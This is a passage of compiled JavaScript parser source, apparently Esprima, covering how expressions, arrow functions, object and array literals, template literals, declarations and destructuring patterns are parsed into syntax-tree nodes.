raw)); break; case 10 /* Template */: expr = this.parseTemplateLiteral(); break; case 7 /* Punctuator */: switch (this.lookahead.value) { case '(': this.context.isBindingElement = false; expr = this.inheritCoverGrammar(this.parseGroupExpression); break; case '[': expr = this.inheritCoverGrammar(this.parseArrayInitializer); break; case '{': expr = this.inheritCoverGrammar(this.parseObjectInitializer); break; case '/': case '/=': this.context.isAssignmentTarget = false; this.context.isBindingElement = false; this.scanner.index = this.startMarker.index; token = this.nextRegexToken(); raw = this.getTokenRaw(token); expr = this.finalize(node, new Node.RegexLiteral(token.regex, raw, token.pattern, token.flags)); break; default: expr = this.throwUnexpectedToken(this.nextToken()); } break; case 4 /* Keyword */: if (!this.context.strict && this.context.allowYield && this.matchKeyword('yield')) { expr = this.parseIdentifierName(); } else if (!this.context.strict && this.matchKeyword('let')) { expr = this.finalize(node, new Node.Identifier(this.nextToken().value)); } else { this.context.isAssignmentTarget = false; this.context.isBindingElement = false; if (this.matchKeyword('function')) { expr = this.parseFunctionExpression(); } else if (this.matchKeyword('this')) { this.nextToken(); expr = this.finalize(node, new Node.ThisExpression()); } else if (this.matchKeyword('class')) { expr = this.parseClassExpression(); } else { expr = this.throwUnexpectedToken(this.nextToken()); } } break; default: expr = this.throwUnexpectedToken(this.nextToken()); } return expr; }; // https://tc39.github.io/ecma262/#sec-array-initializer Parser.prototype.parseSpreadElement = function () { var node = this.createNode(); this.expect('...'); var arg = this.inheritCoverGrammar(this.parseAssignmentExpression); return this.finalize(node, new Node.SpreadElement(arg)); }; Parser.prototype.parseArrayInitializer = function () { var node = this.createNode(); var elements = []; this.expect('['); while (!this.match(']')) { if (this.match(',')) { this.nextToken(); elements.push(null); } else if (this.match('...')) { var element = this.parseSpreadElement(); if (!this.match(']')) { this.context.isAssignmentTarget = false; this.context.isBindingElement = false; this.expect(','); } elements.push(element); } else { elements.push(this.inheritCoverGrammar(this.parseAssignmentExpression)); if (!this.match(']')) { this.expect(','); } } } this.expect(']'); return this.finalize(node, new Node.ArrayExpression(elements)); }; // https://tc39.github.io/ecma262/#sec-object-initializer Parser.prototype.parsePropertyMethod = function (params) { this.context.isAssignmentTarget = false; this.context.isBindingElement = false; var previousStrict = this.context.strict; var previousAllowStrictDirective = this.context.allowStrictDirective; this.context.allowStrictDirective = params.simple; var body = this.isolateCoverGrammar(this.parseFunctionSourceElements); if (this.context.strict && params.firstRestricted) { this.tolerateUnexpectedToken(params.firstRestricted, params.message); } if (this.context.strict && params.stricted) { this.tolerateUnexpectedToken(params.stricted, params.message); } this.context.strict = previousStrict; this.context.allowStrictDirective = previousAllowStrictDirective; return body; }; Parser.prototype.parsePropertyMethodFunction = function () { var isGenerator = false; var node = this.createNode(); var previousAllowYield = this.context.allowYield; this.context.allowYield = false; var params = this.parseFormalParameters(); var method = this.parsePropertyMethod(params); this.context.allowYield = previousAllowYield; return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator)); }; Parser.prototype.parsePropertyMethodAsyncFunction = function () { var node = this.createNode(); var previousAllowYield = this.context.allowYield; var previousAwait = this.context.await; this.context.allowYield = false; this.context.await = true; var params = this.parseFormalParameters(); var method = this.parsePropertyMethod(params); this.context.allowYield = previousAllowYield; this.context.await = previousAwait; return this.finalize(node, new Node.AsyncFunctionExpression(null, params.params, method)); }; Parser.prototype.parseObjectPropertyKey = function () { var node = this.createNode(); var token = this.nextToken(); var key; switch (token.type) { case 8 /* StringLiteral */: case 6 /* NumericLiteral */: if (this.context.strict && token.octal) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictOctalLiteral); } var raw = this.getTokenRaw(token); key = this.finalize(node, new Node.Literal(token.value, raw)); break; case 3 /* Identifier */: case 1 /* BooleanLiteral */: case 5 /* NullLiteral */: case 4 /* Keyword */: key = this.finalize(node, new Node.Identifier(token.value)); break; case 7 /* Punctuator */: if (token.value === '[') { key = this.isolateCoverGrammar(this.parseAssignmentExpression); this.expect(']'); } else { key = this.throwUnexpectedToken(token); } break; default: key = this.throwUnexpectedToken(token); } return key; }; Parser.prototype.isPropertyKey = function (key, value) { return (key.type === syntax_1.Syntax.Identifier && key.name === value) || (key.type === syntax_1.Syntax.Literal && key.value === value); }; Parser.prototype.parseObjectProperty = function (hasProto) { var node = this.createNode(); var token = this.lookahead; var kind; var key = null; var value = null; var computed = false; var method = false; var shorthand = false; var isAsync = false; if (token.type === 3 /* Identifier */) { var id = token.value; this.nextToken(); computed = this.match('['); isAsync = !this.hasLineTerminator && (id === 'async') && !this.match(':') && !this.match('(') && !this.match('*'); key = isAsync ? this.parseObjectPropertyKey() : this.finalize(node, new Node.Identifier(id)); } else if (this.match('*')) { this.nextToken(); } else { computed = this.match('['); key = this.parseObjectPropertyKey(); } var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead); if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'get' && lookaheadPropertyKey) { kind = 'get'; computed = this.match('['); key = this.parseObjectPropertyKey(); this.context.allowYield = false; value = this.parseGetterMethod(); } else if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'set' && lookaheadPropertyKey) { kind = 'set'; computed = this.match('['); key = this.parseObjectPropertyKey(); value = this.parseSetterMethod(); } else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) { kind = 'init'; computed = this.match('['); key = this.parseObjectPropertyKey(); value = this.parseGeneratorMethod(); method = true; } else { if (!key) { this.throwUnexpectedToken(this.lookahead); } kind = 'init'; if (this.match(':') && !isAsync) { if (!computed && this.isPropertyKey(key, '__proto__')) { if (hasProto.value) { this.tolerateError(messages_1.Messages.DuplicateProtoProperty); } hasProto.value = true; } this.nextToken(); value = this.inheritCoverGrammar(this.parseAssignmentExpression); } else if (this.match('(')) { value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction(); method = true; } else if (token.type === 3 /* Identifier */) { var id = this.finalize(node, new Node.Identifier(token.value)); if (this.match('=')) { this.context.firstCoverInitializedNameError = this.lookahead; this.nextToken(); shorthand = true; var init = this.isolateCoverGrammar(this.parseAssignmentExpression); value = this.finalize(node, new Node.AssignmentPattern(id, init)); } else { shorthand = true; value = id; } } else { this.throwUnexpectedToken(this.nextToken()); } } return this.finalize(node, new Node.Property(kind, key, computed, value, method, shorthand)); }; Parser.prototype.parseObjectInitializer = function () { var node = this.createNode(); this.expect('{'); var properties = []; var hasProto = { value: false }; while (!this.match('}')) { properties.push(this.parseObjectProperty(hasProto)); if (!this.match('}')) { this.expectCommaSeparator(); } } this.expect('}'); return this.finalize(node, new Node.ObjectExpression(properties)); }; // https://tc39.github.io/ecma262/#sec-template-literals Parser.prototype.parseTemplateHead = function () { assert_1.assert(this.lookahead.head, 'Template literal must start with a template head'); var node = this.createNode(); var token = this.nextToken(); var raw = token.value; var cooked = token.cooked; return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail)); }; Parser.prototype.parseTemplateElement = function () { if (this.lookahead.type !== 10 /* Template */) { this.throwUnexpectedToken(); } var node = this.createNode(); var token = this.nextToken(); var raw = token.value; var cooked = token.cooked; return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail)); }; Parser.prototype.parseTemplateLiteral = function () { var node = this.createNode(); var expressions = []; var quasis = []; var quasi = this.parseTemplateHead(); quasis.push(quasi); while (!quasi.tail) { expressions.push(this.parseExpression()); quasi = this.parseTemplateElement(); quasis.push(quasi); } return this.finalize(node, new Node.TemplateLiteral(quasis, expressions)); }; // https://tc39.github.io/ecma262/#sec-grouping-operator Parser.prototype.reinterpretExpressionAsPattern = function (expr) { switch (expr.type) { case syntax_1.Syntax.Identifier: case syntax_1.Syntax.MemberExpression: case syntax_1.Syntax.RestElement: case syntax_1.Syntax.AssignmentPattern: break; case syntax_1.Syntax.SpreadElement: expr.type = syntax_1.Syntax.RestElement; this.reinterpretExpressionAsPattern(expr.argument); break; case syntax_1.Syntax.ArrayExpression: expr.type = syntax_1.Syntax.ArrayPattern; for (var i = 0; i < expr.elements.length; i++) { if (expr.elements[i] !== null) { this.reinterpretExpressionAsPattern(expr.elements[i]); } } break; case syntax_1.Syntax.ObjectExpression: expr.type = syntax_1.Syntax.ObjectPattern; for (var i = 0; i < expr.properties.length; i++) { this.reinterpretExpressionAsPattern(expr.properties[i].value); } break; case syntax_1.Syntax.AssignmentExpression: expr.type = syntax_1.Syntax.AssignmentPattern; delete expr.operator; this.reinterpretExpressionAsPattern(expr.left); break; default: // Allow other node type for tolerant parsing. break; } }; Parser.prototype.parseGroupExpression = function () { var expr; this.expect('('); if (this.match(')')) { this.nextToken(); if (!this.match('=>')) { this.expect('=>'); } expr = { type: ArrowParameterPlaceHolder, params: [], async: false }; } else { var startToken = this.lookahead; var params = []; if (this.match('...')) { expr = this.parseRestElement(params); this.expect(')'); if (!this.match('=>')) { this.expect('=>'); } expr = { type: ArrowParameterPlaceHolder, params: [expr], async: false }; } else { var arrow = false; this.context.isBindingElement = true; expr = this.inheritCoverGrammar(this.parseAssignmentExpression); if (this.match(',')) { var expressions = []; this.context.isAssignmentTarget = false; expressions.push(expr); while (this.lookahead.type !== 2 /* EOF */) { if (!this.match(',')) { break; } this.nextToken(); if (this.match(')')) { this.nextToken(); for (var i = 0; i < expressions.length; i++) { this.reinterpretExpressionAsPattern(expressions[i]); } arrow = true; expr = { type: ArrowParameterPlaceHolder, params: expressions, async: false }; } else if (this.match('...')) { if (!this.context.isBindingElement) { this.throwUnexpectedToken(this.lookahead); } expressions.push(this.parseRestElement(params)); this.expect(')'); if (!this.match('=>')) { this.expect('=>'); } this.context.isBindingElement = false; for (var i = 0; i < expressions.length; i++) { this.reinterpretExpressionAsPattern(expressions[i]); } arrow = true; expr = { type: ArrowParameterPlaceHolder, params: expressions, async: false }; } else { expressions.push(this.inheritCoverGrammar(this.parseAssignmentExpression)); } if (arrow) { break; } } if (!arrow) { expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions)); } } if (!arrow) { this.expect(')'); if (this.match('=>')) { if (expr.type === syntax_1.Syntax.Identifier && expr.name === 'yield') { arrow = true; expr = { type: ArrowParameterPlaceHolder, params: [expr], async: false }; } if (!arrow) { if (!this.context.isBindingElement) { this.throwUnexpectedToken(this.lookahead); } if (expr.type === syntax_1.Syntax.SequenceExpression) { for (var i = 0; i < expr.expressions.length; i++) { this.reinterpretExpressionAsPattern(expr.expressions[i]); } } else { this.reinterpretExpressionAsPattern(expr); } var parameters = (expr.type === syntax_1.Syntax.SequenceExpression ? expr.expressions : [expr]); expr = { type: ArrowParameterPlaceHolder, params: parameters, async: false }; } } this.context.isBindingElement = false; } } } return expr; }; // https://tc39.github.io/ecma262/#sec-left-hand-side-expressions Parser.prototype.parseArguments = function () { this.expect('('); var args = []; if (!this.match(')')) { while (true) { var expr = this.match('...') ? this.parseSpreadElement() : this.isolateCoverGrammar(this.parseAssignmentExpression); args.push(expr); if (this.match(')')) { break; } this.expectCommaSeparator(); if (this.match(')')) { break; } } } this.expect(')'); return args; }; Parser.prototype.isIdentifierName = function (token) { return token.type === 3 /* Identifier */ || token.type === 4 /* Keyword */ || token.type === 1 /* BooleanLiteral */ || token.type === 5 /* NullLiteral */; }; Parser.prototype.parseIdentifierName = function () { var node = this.createNode(); var token = this.nextToken(); if (!this.isIdentifierName(token)) { this.throwUnexpectedToken(token); } return this.finalize(node, new Node.Identifier(token.value)); }; Parser.prototype.parseNewExpression = function () { var node = this.createNode(); var id = this.parseIdentifierName(); assert_1.assert(id.name === 'new', 'New expression must start with `new`'); var expr; if (this.match('.')) { this.nextToken(); if (this.lookahead.type === 3 /* Identifier */ && this.context.inFunctionBody && this.lookahead.value === 'target') { var property = this.parseIdentifierName(); expr = new Node.MetaProperty(id, property); } else { this.throwUnexpectedToken(this.lookahead); } } else { var callee = this.isolateCoverGrammar(this.parseLeftHandSideExpression); var args = this.match('(') ? this.parseArguments() : []; expr = new Node.NewExpression(callee, args); this.context.isAssignmentTarget = false; this.context.isBindingElement = false; } return this.finalize(node, expr); }; Parser.prototype.parseAsyncArgument = function () { var arg = this.parseAssignmentExpression(); this.context.firstCoverInitializedNameError = null; return arg; }; Parser.prototype.parseAsyncArguments = function () { this.expect('('); var args = []; if (!this.match(')')) { while (true) { var expr = this.match('...') ? this.parseSpreadElement() : this.isolateCoverGrammar(this.parseAsyncArgument); args.push(expr); if (this.match(')')) { break; } this.expectCommaSeparator(); if (this.match(')')) { break; } } } this.expect(')'); return args; }; Parser.prototype.parseLeftHandSideExpressionAllowCall = function () { var startToken = this.lookahead; var maybeAsync = this.matchContextualKeyword('async'); var previousAllowIn = this.context.allowIn; this.context.allowIn = true; var expr; if (this.matchKeyword('super') && this.context.inFunctionBody) { expr = this.createNode(); this.nextToken(); expr = this.finalize(expr, new Node.Super()); if (!this.match('(') && !this.match('.') && !this.match('[')) { this.throwUnexpectedToken(this.lookahead); } } else { expr = this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression); } while (true) { if (this.match('.')) { this.context.isBindingElement = false; this.context.isAssignmentTarget = true; this.expect('.'); var property = this.parseIdentifierName(); expr = this.finalize(this.startNode(startToken), new Node.StaticMemberExpression(expr, property)); } else if (this.match('(')) { var asyncArrow = maybeAsync && (startToken.lineNumber === this.lookahead.lineNumber); this.context.isBindingElement = false; this.context.isAssignmentTarget = false; var args = asyncArrow ? this.parseAsyncArguments() : this.parseArguments(); expr = this.finalize(this.startNode(startToken), new Node.CallExpression(expr, args)); if (asyncArrow && this.match('=>')) { for (var i = 0; i < args.length; ++i) { this.reinterpretExpressionAsPattern(args[i]); } expr = { type: ArrowParameterPlaceHolder, params: args, async: true }; } } else if (this.match('[')) { this.context.isBindingElement = false; this.context.isAssignmentTarget = true; this.expect('['); var property = this.isolateCoverGrammar(this.parseExpression); this.expect(']'); expr = this.finalize(this.startNode(startToken), new Node.ComputedMemberExpression(expr, property)); } else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) { var quasi = this.parseTemplateLiteral(); expr = this.finalize(this.startNode(startToken), new Node.TaggedTemplateExpression(expr, quasi)); } else { break; } } this.context.allowIn = previousAllowIn; return expr; }; Parser.prototype.parseSuper = function () { var node = this.createNode(); this.expectKeyword('super'); if (!this.match('[') && !this.match('.')) { this.throwUnexpectedToken(this.lookahead); } return this.finalize(node, new Node.Super()); }; Parser.prototype.parseLeftHandSideExpression = function () { assert_1.assert(this.context.allowIn, 'callee of new expression always allow in keyword.'); var node = this.startNode(this.lookahead); var expr = (this.matchKeyword('super') && this.context.inFunctionBody) ? this.parseSuper() : this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression); while (true) { if (this.match('[')) { this.context.isBindingElement = false; this.context.isAssignmentTarget = true; this.expect('['); var property = this.isolateCoverGrammar(this.parseExpression); this.expect(']'); expr = this.finalize(node, new Node.ComputedMemberExpression(expr, property)); } else if (this.match('.')) { this.context.isBindingElement = false; this.context.isAssignmentTarget = true; this.expect('.'); var property = this.parseIdentifierName(); expr = this.finalize(node, new Node.StaticMemberExpression(expr, property)); } else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) { var quasi = this.parseTemplateLiteral(); expr = this.finalize(node, new Node.TaggedTemplateExpression(expr, quasi)); } else { break; } } return expr; }; // https://tc39.github.io/ecma262/#sec-update-expressions Parser.prototype.parseUpdateExpression = function () { var expr; var startToken = this.lookahead; if (this.match('++') || this.match('--')) { var node = this.startNode(startToken); var token = this.nextToken(); expr = this.inheritCoverGrammar(this.parseUnaryExpression); if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) { this.tolerateError(messages_1.Messages.StrictLHSPrefix); } if (!this.context.isAssignmentTarget) { this.tolerateError(messages_1.Messages.InvalidLHSInAssignment); } var prefix = true; expr = this.finalize(node, new Node.UpdateExpression(token.value, expr, prefix)); this.context.isAssignmentTarget = false; this.context.isBindingElement = false; } else { expr = this.inheritCoverGrammar(this.parseLeftHandSideExpressionAllowCall); if (!this.hasLineTerminator && this.lookahead.type === 7 /* Punctuator */) { if (this.match('++') || this.match('--')) { if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) { this.tolerateError(messages_1.Messages.StrictLHSPostfix); } if (!this.context.isAssignmentTarget) { this.tolerateError(messages_1.Messages.InvalidLHSInAssignment); } this.context.isAssignmentTarget = false; this.context.isBindingElement = false; var operator = this.nextToken().value; var prefix = false; expr = this.finalize(this.startNode(startToken), new Node.UpdateExpression(operator, expr, prefix)); } } } return expr; }; // https://tc39.github.io/ecma262/#sec-unary-operators Parser.prototype.parseAwaitExpression = function () { var node = this.createNode(); this.nextToken(); var argument = this.parseUnaryExpression(); return this.finalize(node, new Node.AwaitExpression(argument)); }; Parser.prototype.parseUnaryExpression = function () { var expr; if (this.match('+') || this.match('-') || this.match('~') || this.match('!') || this.matchKeyword('delete') || this.matchKeyword('void') || this.matchKeyword('typeof')) { var node = this.startNode(this.lookahead); var token = this.nextToken(); expr = this.inheritCoverGrammar(this.parseUnaryExpression); expr = this.finalize(node, new Node.UnaryExpression(token.value, expr)); if (this.context.strict && expr.operator === 'delete' && expr.argument.type === syntax_1.Syntax.Identifier) { this.tolerateError(messages_1.Messages.StrictDelete); } this.context.isAssignmentTarget = false; this.context.isBindingElement = false; } else if (this.context.await && this.matchContextualKeyword('await')) { expr = this.parseAwaitExpression(); } else { expr = this.parseUpdateExpression(); } return expr; }; Parser.prototype.parseExponentiationExpression = function () { var startToken = this.lookahead; var expr = this.inheritCoverGrammar(this.parseUnaryExpression); if (expr.type !== syntax_1.Syntax.UnaryExpression && this.match('**')) { this.nextToken(); this.context.isAssignmentTarget = false; this.context.isBindingElement = false; var left = expr; var right = this.isolateCoverGrammar(this.parseExponentiationExpression); expr = this.finalize(this.startNode(startToken), new Node.BinaryExpression('**', left, right)); } return expr; }; // https://tc39.github.io/ecma262/#sec-exp-operator // https://tc39.github.io/ecma262/#sec-multiplicative-operators // https://tc39.github.io/ecma262/#sec-additive-operators // https://tc39.github.io/ecma262/#sec-bitwise-shift-operators // https://tc39.github.io/ecma262/#sec-relational-operators // https://tc39.github.io/ecma262/#sec-equality-operators // https://tc39.github.io/ecma262/#sec-binary-bitwise-operators // https://tc39.github.io/ecma262/#sec-binary-logical-operators Parser.prototype.binaryPrecedence = function (token) { var op = token.value; var precedence; if (token.type === 7 /* Punctuator */) { precedence = this.operatorPrecedence[op] || 0; } else if (token.type === 4 /* Keyword */) { precedence = (op === 'instanceof' || (this.context.allowIn && op === 'in')) ? 7 : 0; } else { precedence = 0; } return precedence; }; Parser.prototype.parseBinaryExpression = function () { var startToken = this.lookahead; var expr = this.inheritCoverGrammar(this.parseExponentiationExpression); var token = this.lookahead; var prec = this.binaryPrecedence(token); if (prec > 0) { this.nextToken(); this.context.isAssignmentTarget = false; this.context.isBindingElement = false; var markers = [startToken, this.lookahead]; var left = expr; var right = this.isolateCoverGrammar(this.parseExponentiationExpression); var stack = [left, token.value, right]; var precedences = [prec]; while (true) { prec = this.binaryPrecedence(this.lookahead); if (prec <= 0) { break; } // Reduce: make a binary expression from the three topmost entries. while ((stack.length > 2) && (prec <= precedences[precedences.length - 1])) { right = stack.pop(); var operator = stack.pop(); precedences.pop(); left = stack.pop(); markers.pop(); var node = this.startNode(markers[markers.length - 1]); stack.push(this.finalize(node, new Node.BinaryExpression(operator, left, right))); } // Shift. stack.push(this.nextToken().value); precedences.push(prec); markers.push(this.lookahead); stack.push(this.isolateCoverGrammar(this.parseExponentiationExpression)); } // Final reduce to clean-up the stack. var i = stack.length - 1; expr = stack[i]; markers.pop(); while (i > 1) { var node = this.startNode(markers.pop()); var operator = stack[i - 1]; expr = this.finalize(node, new Node.BinaryExpression(operator, stack[i - 2], expr)); i -= 2; } } return expr; }; // https://tc39.github.io/ecma262/#sec-conditional-operator Parser.prototype.parseConditionalExpression = function () { var startToken = this.lookahead; var expr = this.inheritCoverGrammar(this.parseBinaryExpression); if (this.match('?')) { this.nextToken(); var previousAllowIn = this.context.allowIn; this.context.allowIn = true; var consequent = this.isolateCoverGrammar(this.parseAssignmentExpression); this.context.allowIn = previousAllowIn; this.expect(':'); var alternate = this.isolateCoverGrammar(this.parseAssignmentExpression); expr = this.finalize(this.startNode(startToken), new Node.ConditionalExpression(expr, consequent, alternate)); this.context.isAssignmentTarget = false; this.context.isBindingElement = false; } return expr; }; // https://tc39.github.io/ecma262/#sec-assignment-operators Parser.prototype.checkPatternParam = function (options, param) { switch (param.type) { case syntax_1.Syntax.Identifier: this.validateParam(options, param, param.name); break; case syntax_1.Syntax.RestElement: this.checkPatternParam(options, param.argument); break; case syntax_1.Syntax.AssignmentPattern: this.checkPatternParam(options, param.left); break; case syntax_1.Syntax.ArrayPattern: for (var i = 0; i < param.elements.length; i++) { if (param.elements[i] !== null) { this.checkPatternParam(options, param.elements[i]); } } break; case syntax_1.Syntax.ObjectPattern: for (var i = 0; i < param.properties.length; i++) { this.checkPatternParam(options, param.properties[i].value); } break; default: break; } options.simple = options.simple && (param instanceof Node.Identifier); }; Parser.prototype.reinterpretAsCoverFormalsList = function (expr) { var params = [expr]; var options; var asyncArrow = false; switch (expr.type) { case syntax_1.Syntax.Identifier: break; case ArrowParameterPlaceHolder: params = expr.params; asyncArrow = expr.async; break; default: return null; } options = { simple: true, paramSet: {} }; for (var i = 0; i < params.length; ++i) { var param = params[i]; if (param.type === syntax_1.Syntax.AssignmentPattern) { if (param.right.type === syntax_1.Syntax.YieldExpression) { if (param.right.argument) { this.throwUnexpectedToken(this.lookahead); } param.right.type = syntax_1.Syntax.Identifier; param.right.name = 'yield'; delete param.right.argument; delete param.right.delegate; } } else if (asyncArrow && param.type === syntax_1.Syntax.Identifier && param.name === 'await') { this.throwUnexpectedToken(this.lookahead); } this.checkPatternParam(options, param); params[i] = param; } if (this.context.strict || !this.context.allowYield) { for (var i = 0; i < params.length; ++i) { var param = params[i]; if (param.type === syntax_1.Syntax.YieldExpression) { this.throwUnexpectedToken(this.lookahead); } } } if (options.message === messages_1.Messages.StrictParamDupe) { var token = this.context.strict ? options.stricted : options.firstRestricted; this.throwUnexpectedToken(token, options.message); } return { simple: options.simple, params: params, stricted: options.stricted, firstRestricted: options.firstRestricted, message: options.message }; }; Parser.prototype.parseAssignmentExpression = function () { var expr; if (!this.context.allowYield && this.matchKeyword('yield')) { expr = this.parseYieldExpression(); } else { var startToken = this.lookahead; var token = startToken; expr = this.parseConditionalExpression(); if (token.type === 3 /* Identifier */ && (token.lineNumber === this.lookahead.lineNumber) && token.value === 'async') { if (this.lookahead.type === 3 /* Identifier */ || this.matchKeyword('yield')) { var arg = this.parsePrimaryExpression(); this.reinterpretExpressionAsPattern(arg); expr = { type: ArrowParameterPlaceHolder, params: [arg], async: true }; } } if (expr.type === ArrowParameterPlaceHolder || this.match('=>')) { // https://tc39.github.io/ecma262/#sec-arrow-function-definitions this.context.isAssignmentTarget = false; this.context.isBindingElement = false; var isAsync = expr.async; var list = this.reinterpretAsCoverFormalsList(expr); if (list) { if (this.hasLineTerminator) { this.tolerateUnexpectedToken(this.lookahead); } this.context.firstCoverInitializedNameError = null; var previousStrict = this.context.strict; var previousAllowStrictDirective = this.context.allowStrictDirective; this.context.allowStrictDirective = list.simple; var previousAllowYield = this.context.allowYield; var previousAwait = this.context.await; this.context.allowYield = true; this.context.await = isAsync; var node = this.startNode(startToken); this.expect('=>'); var body = void 0; if (this.match('{')) { var previousAllowIn = this.context.allowIn; this.context.allowIn = true; body = this.parseFunctionSourceElements(); this.context.allowIn = previousAllowIn; } else { body = this.isolateCoverGrammar(this.parseAssignmentExpression); } var expression = body.type !== syntax_1.Syntax.BlockStatement; if (this.context.strict && list.firstRestricted) { this.throwUnexpectedToken(list.firstRestricted, list.message); } if (this.context.strict && list.stricted) { this.tolerateUnexpectedToken(list.stricted, list.message); } expr = isAsync ? this.finalize(node, new Node.AsyncArrowFunctionExpression(list.params, body, expression)) : this.finalize(node, new Node.ArrowFunctionExpression(list.params, body, expression)); this.context.strict = previousStrict; this.context.allowStrictDirective = previousAllowStrictDirective; this.context.allowYield = previousAllowYield; this.context.await = previousAwait; } } else { if (this.matchAssign()) { if (!this.context.isAssignmentTarget) { this.tolerateError(messages_1.Messages.InvalidLHSInAssignment); } if (this.context.strict && expr.type === syntax_1.Syntax.Identifier) { var id = expr; if (this.scanner.isRestrictedWord(id.name)) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictLHSAssignment); } if (this.scanner.isStrictModeReservedWord(id.name)) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord); } } if (!this.match('=')) { this.context.isAssignmentTarget = false; this.context.isBindingElement = false; } else { this.reinterpretExpressionAsPattern(expr); } token = this.nextToken(); var operator = token.value; var right = this.isolateCoverGrammar(this.parseAssignmentExpression); expr = this.finalize(this.startNode(startToken), new Node.AssignmentExpression(operator, expr, right)); this.context.firstCoverInitializedNameError = null; } } } return expr; }; // https://tc39.github.io/ecma262/#sec-comma-operator Parser.prototype.parseExpression = function () { var startToken = this.lookahead; var expr = this.isolateCoverGrammar(this.parseAssignmentExpression); if (this.match(',')) { var expressions = []; expressions.push(expr); while (this.lookahead.type !== 2 /* EOF */) { if (!this.match(',')) { break; } this.nextToken(); expressions.push(this.isolateCoverGrammar(this.parseAssignmentExpression)); } expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions)); } return expr; }; // https://tc39.github.io/ecma262/#sec-block Parser.prototype.parseStatementListItem = function () { var statement; this.context.isAssignmentTarget = true; this.context.isBindingElement = true; if (this.lookahead.type === 4 /* Keyword */) { switch (this.lookahead.value) { case 'export': if (!this.context.isModule) { this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalExportDeclaration); } statement = this.parseExportDeclaration(); break; case 'import': if (!this.context.isModule) { this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.IllegalImportDeclaration); } statement = this.parseImportDeclaration(); break; case 'const': statement = this.parseLexicalDeclaration({ inFor: false }); break; case 'function': statement = this.parseFunctionDeclaration(); break; case 'class': statement = this.parseClassDeclaration(); break; case 'let': statement = this.isLexicalDeclaration() ? this.parseLexicalDeclaration({ inFor: false }) : this.parseStatement(); break; default: statement = this.parseStatement(); break; } } else { statement = this.parseStatement(); } return statement; }; Parser.prototype.parseBlock = function () { var node = this.createNode(); this.expect('{'); var block = []; while (true) { if (this.match('}')) { break; } block.push(this.parseStatementListItem()); } this.expect('}'); return this.finalize(node, new Node.BlockStatement(block)); }; // https://tc39.github.io/ecma262/#sec-let-and-const-declarations Parser.prototype.parseLexicalBinding = function (kind, options) { var node = this.createNode(); var params = []; var id = this.parsePattern(params, kind); if (this.context.strict && id.type === syntax_1.Syntax.Identifier) { if (this.scanner.isRestrictedWord(id.name)) { this.tolerateError(messages_1.Messages.StrictVarName); } } var init = null; if (kind === 'const') { if (!this.matchKeyword('in') && !this.matchContextualKeyword('of')) { if (this.match('=')) { this.nextToken(); init = this.isolateCoverGrammar(this.parseAssignmentExpression); } else { this.throwError(messages_1.Messages.DeclarationMissingInitializer, 'const'); } } } else if ((!options.inFor && id.type !== syntax_1.Syntax.Identifier) || this.match('=')) { this.expect('='); init = this.isolateCoverGrammar(this.parseAssignmentExpression); } return this.finalize(node, new Node.VariableDeclarator(id, init)); }; Parser.prototype.parseBindingList = function (kind, options) { var list = [this.parseLexicalBinding(kind, options)]; while (this.match(',')) { this.nextToken(); list.push(this.parseLexicalBinding(kind, options)); } return list; }; Parser.prototype.isLexicalDeclaration = function () { var state = this.scanner.saveState(); this.scanner.scanComments(); var next = this.scanner.lex(); this.scanner.restoreState(state); return (next.type === 3 /* Identifier */) || (next.type === 7 /* Punctuator */ && next.value === '[') || (next.type === 7 /* Punctuator */ && next.value === '{') || (next.type === 4 /* Keyword */ && next.value === 'let') || (next.type === 4 /* Keyword */ && next.value === 'yield'); }; Parser.prototype.parseLexicalDeclaration = function (options) { var node = this.createNode(); var kind = this.nextToken().value; assert_1.assert(kind === 'let' || kind === 'const', 'Lexical declaration must be either let or const'); var declarations = this.parseBindingList(kind, options); this.consumeSemicolon(); return this.finalize(node, new Node.VariableDeclaration(declarations, kind)); }; // https://tc39.github.io/ecma262/#sec-destructuring-binding-patterns Parser.prototype.parseBindingRestElement = function (params, kind) { var node = this.createNode(); this.expect('...'); var arg = this.parsePattern(params, kind); return this.finalize(node, new Node.RestElement(arg)); }; Parser.prototype.parseArrayPattern = function (params, kind) { var node = this.createNode(); this.expect('['); var elements = []; while (!this.match(']')) { if (this.match(',')) { this.nextToken(); elements.push(null); } else { if (this.match('...')) { elements.push(this.parseBindingRestElement(params, kind)); break; } else { elements.push(this.parsePatternWithDefault(params, kind)); } if (!this.match(']')) { this.expect(','); } } } this.expect(']'); return this.finalize(node, new Node.ArrayPattern(elements)); }; Parser.prototype.parsePropertyPattern = function (params, kind) { var node = this.createNode(); var computed = false; var shorthand = false; var method = false; var key; var value; if (this.lookahead.type === 3 /* Identifier */) { var keyToken = this.lookahead; key = this.parseVariableIdentifier(); var init = this.finalize(node, new Node.Identifier(keyToken.value)); if (this.match('=')) { params.push(keyToken); shorthand = true; this.nextToken(); var expr = this.parseAssignmentExpression(); value = this.finalize(this.startNode(keyToken), new Node.AssignmentPattern(init, expr)); } else if (!this.match(':')) { params.push(keyToken); shorthand = true; value = init; } else { this.expect(':'); value = this.parsePatternWithDefault(params, kind); } } else { computed = this.match('['); key = this.parseObjectPropertyKey(); this.expect(':'); value = this.parsePatternWithDefault(params, kind); } return this.finalize(node, new Node.Property('init', key, computed, value, method, shorthand)); }; Parser.prototype.parseObjectPattern = function (params, kind) { var node 